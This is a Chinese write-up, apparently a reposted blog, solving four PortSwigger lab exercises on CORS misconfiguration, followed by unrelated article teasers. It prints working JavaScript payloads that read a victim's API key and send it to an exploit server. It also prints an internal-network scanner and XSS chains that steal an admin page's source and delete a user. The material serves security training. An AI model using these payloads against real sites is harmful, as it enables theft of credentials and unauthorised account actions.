burp靶场--跨域资源共享(CORS)

news2024/12/26 23:37:27

burp靶场–跨域资源共享(CORS)

https://portswigger.net/web-security/cors

### 跨域资源共享(CORS)
在本节中,我们将解释什么是跨域资源共享 (CORS),描述基于跨域资源共享的攻击的一些常见示例,并讨论如何防范这些攻击。本主题是与 PortSwigger Research 合作编写的,PortSwigger Research 通过演示利用 CORS 错误配置获取比特币和赏金来普及此类攻击。

#### 什么是CORS(跨域资源共享)?
跨源资源共享 (CORS) 是一种浏览器机制,可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 ( SOP ) 的灵活性。然而,如果网站的 CORS 策略配置和实施不当,它也可能带来跨域攻击。CORS 不能防止跨源攻击,例如跨站点请求伪造( CSRF )。

实验1:具有基本起源反射的CORS漏洞

### 实验要求:
该网站具有不安全的CORS配置,因为它信任所有来源。
要完成实验,请编写一些 JavaScript,使用 CORS 检索管理员的 API 密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥后,该实验就解决了。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
检查拦截已关闭,然后使用浏览器登录并访问您的帐户页面。
查看历史记录并观察到您的密钥是通过 AJAX 请求检索到的/accountDetails,并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS 的标头。
将请求发送到 Burp Repeater,并使用添加的标头重新提交:

Origin: https://example.com
观察标题中反映的来源Access-Control-Allow-Origin。
在浏览器中,转到漏洞利用服务器并输入以下 HTML,替换YOUR-LAB-ID为您唯一的实验室 URL:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
单击查看漏洞利用。观察该漏洞是否有效 - 您已登录日志页面,并且您的 API 密钥位于 URL 中。
返回到漏洞利用服务器并单击“向受害者提供漏洞利用”。
单击访问日志,检索并提交受害者的 API 密钥以完成实验。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验2:具有可信空源的CORS漏洞

### 实验要求:
该网站具有不安全的CORS配置,因为它信任“空”源。
要完成实验,请编写一些 JavaScript,使用 CORS 检索管理员的 API 密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥后,该实验就解决了。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
检查拦截是否关闭,然后使用 Burp 的浏览器登录您的帐户。点击“我的帐户”。
查看历史记录并观察到您的密钥是通过 AJAX 请求检索到的/accountDetails,并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS 的标头。
将请求发送到 Burp Repeater,并使用添加的标头重新提交Origin: null.
请注意,“空”原点反映在Access-Control-Allow-Origin标头中。
在浏览器中,转到漏洞利用服务器并输入以下 HTML,替换YOUR-LAB-ID为您唯一的实验室 URL 的 URL 和YOUR-EXPLOIT-SERVER-ID漏洞利用服务器 ID:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
请注意 iframe 沙箱的使用,因为这会生成空源请求。

单击“查看漏洞利用”。观察该漏洞是否有效 - 您已登录日志页面,并且您的 API 密钥位于 URL 中。
返回漏洞利用服务器并单击“向受害者提供漏洞利用”。
单击“访问日志”,检索并提交受害者的 API 密钥以完成实验。

在这里插入图片描述
在这里插入图片描述
测试origin:null的跨域资源共享:
在这里插入图片描述
构造恶意脚本放置于自己控制的恶意服务器上,发送origin:null的恶意请求:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
 
我的是:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a5700d40311e9ff8048f883002d0044.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0a2900250301e97580bcf75101a20075.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

实验3:受信任的不安全协议的CORS漏洞

【父域允许子域CORS敏感信息,资源存在xss漏洞,从子域发出xss请求父域敏感信息,并将敏感信息发送到hacker控制的服务器上】

### 实验要求:
该网站具有不安全的CORS配置,因为无论协议如何,它都信任所有子域。
要完成实验,请编写一些 JavaScript,使用 CORS 检索管理员的 API 密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥后,该实验就解决了。
您可以使用以下凭据登录您自己的帐户:wiener:peter

### 实验操作:
检查拦截是否关闭,然后使用 Burp 的浏览器登录并访问您的帐户页面。
查看历史记录并观察到您的密钥是通过 AJAX 请求检索到的/accountDetails,并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS 的标头。
将请求发送到 Burp Repeater,并使用添加的标头(Origin: http://subdomain.lab-id其中lab-id是实验室域名)重新提交。
观察标头中反映的来源Access-Control-Allow-Origin,确认 CORS 配置允许从任意子域(HTTPS 和 HTTP)进行访问。
打开产品页面,单击“检查库存”,然后观察是否使用子域上的 HTTP URL 加载该产品。
请注意,该productID参数容易受到XSS攻击。
在浏览器中,转到漏洞利用服务器并输入以下 HTML,替换YOUR-LAB-ID为您唯一的实验室 URL 和YOUR-EXPLOIT-SERVER-ID漏洞利用服务器 ID:

<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
单击查看漏洞利用。观察该漏洞是否有效 - 您已登录日志页面,并且您的 API 密钥位于 URL 中。
返回到漏洞利用服务器并单击“向受害者提供漏洞利用”。
单击访问日志,检索并提交受害者的 API 密钥以完成实验。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
 
我的是:
<script>
    document.location="http://stock.0a6b009604d1ae9a80a7d5280066002a.web-security-academy.net/?productId=1<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a6b009604d1ae9a80a7d5280066002a.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a5b00fd048faea180b1d428017d0056.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

实验4:具有内部网络枢轴攻击的CORS漏洞

### 实验要求:
该网站的CORS配置 不安全,因为它信任所有内部网络来源。
此实验需要多个步骤才能完成。192.168.0.0/24要完成该实验,请编写一些 JavaScript 来定位本地网络(端口)上的端点8080,然后您可以使用该端点来识别和创建基于 CORS 的攻击以删除用户。当您删除 user 时,实验室就解决了carlos

### 实验操作:
步骤1

首先,我们需要扫描本地网络以查找端点。替换$collaboratorPayload为您自己的协作者负载或利用服务器 URL。在漏洞利用服务器中输入以下代码。单击“存储”,然后单击“向受害者提供漏洞利用”。检查日志或协作者交互并查看发送给它的代码参数。

<script>
var q = [], collaboratorURL = 'http://$collaboratorPayload';

for(i=1;i<=255;i++) {
	q.push(function(url) {
		return function(wait) {
			fetchUrl(url, wait);
		}
	}('http://192.168.0.'+i+':8080'));
}

for(i=1;i<=20;i++){
	if(q.length)q.shift()(i*100);
}

function fetchUrl(url, wait) {
	var controller = new AbortController(), signal = controller.signal;
	fetch(url, {signal}).then(r => r.text().then(text => {
		location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();
	}))
	.catch(e => {
		if(q.length) {
			q.shift()(wait);
		}
	});
	setTimeout(x => {
		controller.abort();
		if(q.length) {
			q.shift()(wait);
		}
	}, wait);
}
</script>
第2步

清除第 1 阶段的代码并在漏洞利用服务器中输入以下代码。替换$ip为从协作者交互中检索到的 IP 地址和端口号。不要忘记再次添加您的 Collaborator 负载或利用服务器 URL。更新并交付您的漏洞利用程序。我们现在将探测用户名字段是否存在XSS漏洞。foundXSS=1您应该在 URL 中检索协作者交互,或者您将foundXSS=1在日志中看到。

<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r => r.text().then(text => {
		xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
	}))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
步骤3

清除第 2 阶段的代码并在漏洞利用服务器中输入以下代码。替换$ip为与步骤 2 中相同的 IP 地址和端口号,并且不要忘记再次添加您的 Collaborator 负载或漏洞利用服务器。更新并交付您的漏洞利用程序。您的协作者交互或漏洞利用服务器日志现在应该为您提供管理页面的源代码。

<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url, collaboratorURL){
	fetch(url).then(r=>r.text().then(text=>
	{
		xss(url, text, '"><iframe src=/admin οnlοad="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
	}
	))
}

fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
步骤4

阅读协作者交互中或漏洞利用服务器日志中从步骤 3 检索到的源代码。您会注意到有一个表单允许您删除用户。清除第 3 阶段的代码并在漏洞利用服务器中输入以下代码。替换$ip为与步骤 2 和 3 中相同的 IP 地址和端口号。代码carlos通过注入指向页面的 iframe 来提交要删除的表单/admin。

<script>
function xss(url, text, vector) {
	location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
}

function fetchUrl(url){
	fetch(url).then(r=>r.text().then(text=>
	{
	xss(url, text, '"><iframe src=/admin οnlοad="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
	}
	))
}

fetchUrl("http://$ip");
</script>
单击“向受害者提供漏洞”以提交代码。一旦您提交了要删除的表格,carlos您就完成了实验。

信息:

1、此网站具有不安全的CORS配置,因为它信任所有内部网络来源。

2、完成实验:编制JavaScript来定位本地网络(192.168.0.0/24,端口8080)上的端点,然后使用该端点来识别和创建基于CORS的攻击以删除用户。删除用户carlos

我的漏洞利用服务器
http://exploit-0a97005103153f0381fef98301bf0064.exploit-server.net/

在这里插入图片描述
发现内部主机:192.168.0.230:8080
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
构造代码,提交在自己控制的服务器上,投递删除指定用户:
在这里插入图片描述

参考:

### 【burpsuite安全练兵场-客户端13】跨来源资源共享(CORS)-4个实验(全)
https://blog.csdn.net/qq_53079406/article/details/128696923
### CORS跨域资源共享漏洞的复现、分析、利用及修复过程
https://mp.weixin.qq.com/s/PSU8T-IO3mAz4MEVvAeUug
### portswigger官方:跨域资源共享(CORS)
https://portswigger.net/web-security/cors#what-is-cors-cross-origin-resource-sharing
###PayloadsAllTheThings: CORS 配置错误
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
### 测试RIA跨域策略
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/08-Test_RIA_Cross_Domain_Policy

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1406323.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

链表的经典算法OJ题

前言 hello&#xff0c;大家好呀&#xff0c;我是Humble&#xff0c;本篇博客要分享的内容是关于链表的一些力扣OJ题 OK&#xff0c;废话不多说&#xff0c;我们直接开始吧~ 题目一 203. 移除链表元素 - 力扣&#xff08;LeetCode&#xff09; 题目描述&#xff1a; 给你一个…

C# 使用屏障来使多线程并发操作保持同步

写在前面 以下是微软官方对屏障类的介绍&#xff0c;System.Threading.Barrier 可用来作为实现并发同步操作的基本单元&#xff0c;让多个线程(参与者)分阶段并行处理目标算法。在达到代码中的屏障点之前&#xff0c;每个参与者将继续执行&#xff0c;屏障表示工作阶段的末尾&…

机器学习实验3——支持向量机分类鸢尾花

文章目录 &#x1f9e1;&#x1f9e1;实验内容&#x1f9e1;&#x1f9e1;&#x1f9e1;&#x1f9e1;数据预处理&#x1f9e1;&#x1f9e1;代码认识数据相关性分析径向可视化各个特征之间的关系图 &#x1f9e1;&#x1f9e1;支持向量机SVM求解&#x1f9e1;&#x1f9e1;直觉…

单调栈笔记

单调栈 1.每日温度2.下一个更大元素 I3.下一个更大的元素4.接雨水5.柱状图中最大的矩形 单调栈正如其名字&#xff0c;用一个栈&#xff08;能够实现栈性质的数据结构就行&#xff09;来存储元素&#xff0c;存储在栈中的元素保持单调性&#xff08;单调递增或者是单调递减&…

SE通道注意力机制模块

简介 论文原址&#xff1a;https://arxiv.org/pdf/1709.01507.pdf 在深度学习领域&#xff0c;提升模型的表征能力一直是一个关键的研究方向。SE&#xff08;Squeeze-and-Excitation&#xff09;模块是一种引入通道注意力机制的方法&#xff0c;旨在让神经网络更加关注对当前…

5_机械臂运动学基础_矩阵

上次说的向量空间是为矩阵服务的。 1、学科回顾 从科技实践中来的数学问题无非分为两类&#xff1a;一类是线性问题&#xff0c;一类是非线性问题。线性问题是研究最久、理论最完善的&#xff1b;而非线性问题则可以在一定基础上转化为线性问题求解。 线性变换&#xff1a; 数域…

活动回顾丨云原生技术实践营上海站「云原生 AI 大数据」专场(附 PPT)

AI 势不可挡&#xff0c;“智算”赋能未来。2024 年 1 月 5 日&#xff0c;云原生技术实践营「云原生 AI &大数据」专场在上海落幕。活动聚焦容器、可观测、微服务产品技术领域&#xff0c;以云原生 AI 工程化落地为主要方向&#xff0c;希望帮助企业和开发者更快、更高效地…

机器学习期末复习总结笔记(李航统计学习方法)

文章目录 模型复杂度高---过拟合分类与回归有监督、无监督、半监督正则化生成模型和判别模型感知机KNN朴素贝叶斯决策树SVMAdaboost聚类风险PCA深度学习范数计算梯度下降与随机梯度下降SGD线性回归逻辑回归最大熵模型适用性讨论 模型复杂度高—过拟合 是什么&#xff1a;当模型…

应用监控 eBPF 版:实现高效协议解析的技术探索

作者&#xff1a;彦鸿 引言 随着 Kuberentes 等云原生技术的飞速发展&#xff0c;带来了研发与运维模式的变革。企业软件架构由单体服务向分布式、微服务演进。随着业务发展&#xff0c;多语言、多框架、多协议的微服务在企业中越来越多&#xff0c;软件架构复杂度越来越高&a…

excel(wps)之vlookup函数合并sheet数据

VLOOKUP函数是Excel中的一个纵向查找函数&#xff0c;它与LOOKUP函数和HLOOKUP函数属于一类函数&#xff0c;在工作中都有广泛应用&#xff0c;例如可以用来核对数据&#xff0c;多个表格之间快速导入数据等函数功能。功能是按列查找&#xff0c;最终返回该列所需查询列序所对应…

C++并发编程 -1.线程管理

本栏主要介绍《C并发实战编程》这本书&#xff0c;链接。 将按照书目录分为 九章节介绍C并发编程&#xff0c;尽可能简化本书内晦涩难懂知识点。 本章节主要讲解线程使用基础。详细介绍线程使用基础&#xff08;线程发起、等待、参数、异常处理&#xff09;、线程管控(归属权、…

设计模式——1_6 代理(Proxy)

诗有可解不可解&#xff0c;若镜花水月勿泥其迹可也 —— 谢榛 文章目录 定义图纸一个例子&#xff1a;图片搜索器图片加载搜索器直接在Image添加组合他们 各种各样的代理远程代理&#xff1a;镜中月&#xff0c;水中花保护代理&#xff1a;对象也该有隐私引用代理&#xff1a;…

uniapp点击事件报错 Cannot read property ‘stopPropagation‘ of undefined

问题产生&#xff1a;在列表上有个小按钮&#xff0c;可点击弹出选择框。 列表本身可点击进入详情页。所以想用click.stop来阻止点击小按钮时候&#xff0c;触发列表的点击事件。 结果&#xff1a;如图所示 解决方案&#xff1a;发现自己用的是icon&#xff0c;在icon上加click…

Web3 游戏开发者的数据分析指南

作者&#xff1a;lesleyfootprint.network 在竞争激烈的 Web3 游戏行业中&#xff0c;成功不仅仅取决于游戏的发布&#xff0c;还需要在游戏运营过程中有高度的敏锐性&#xff0c;以应对下一次牛市的来临。 人们对 2024 年的游戏行业充满信心。A16Z GAMES 和 GAMES FUND ONE …

windows和linux下SHA1,MD5,SHA256校验办法

今天更新android studio到Android Studio Hedgehog | 2023.1.1时&#xff0c;发现提示本机安装的git版本太老&#xff0c;于是从git官网下载最新的git。 git下载地址&#xff1a; https://git-scm.com/ 从官网点击下载最新windows版本会跳转到github仓库来下载发布的git&…

uniapp小程序实现自定义返回按钮和胶囊对齐 做到兼容各手机型号

效果&#xff1a; 用到的API&#xff1a; uni.getMenuButtonBoundingClientRect();官网地址&#xff1a; https://uniapp.dcloud.net.cn/api/ui/menuButton.html#getmenubuttonboundingclientrect 控制台打印&#xff1a; 代码示例&#xff1a; <template><view cl…

惬意上手python —— JSON模块介绍

JSON模块简介 JSON&#xff08;JavaScript Object Notation&#xff09;是一种轻量级的数据交换格式&#xff0c;易于阅读和编写&#xff0c;同时也易于机器解析和生成。在Python中&#xff0c;我们可以使用json模块来处理JSON数据。本文将介绍如何使用Python的json模块进行JS…

Redis解决方案:NOAUTH Authentication required(连接jedis绑定密码或修改redis密码)

Redis解决方案&#xff1a;NOAUTH Authentication required&#xff08;连接jedis绑定密码或修改redis密码&#xff09; Java使用jedis连接redis时出现错误NOAUTH Authentication required 一、问题报错和原因 本地设置了redis的密码&#xff0c;但在远程连接时并没有输入密…

【深度学习:数据管理工具】2024 年计算机视觉的 7 大数据管理工具

【深度学习&#xff1a;数据管理工具】2024 年计算机视觉的 7 大数据管理工具 什么是计算机视觉中的数据管理&#xff1f;在计算机视觉中的数据管理工具中要考虑什么&#xff1f;Data Prioritization 数据优先级Visualizations 可视 化Model-Assisted Insights 模型辅助见解Mod…

解锁加密货币增长的秘密:通过 Token Explorer 解读市场信号

解读市场信号&#xff0c;就像医生通过观察患者的体征来判断健康状况一样&#xff0c;可以帮助我们评估加密货币的采用速度。 Token Explorer 这个工具&#xff0c;就像是我们医生的听诊器&#xff0c;它追踪了一些核心的采用指标&#xff1a; ● 市值&#xff1a;通过比较主…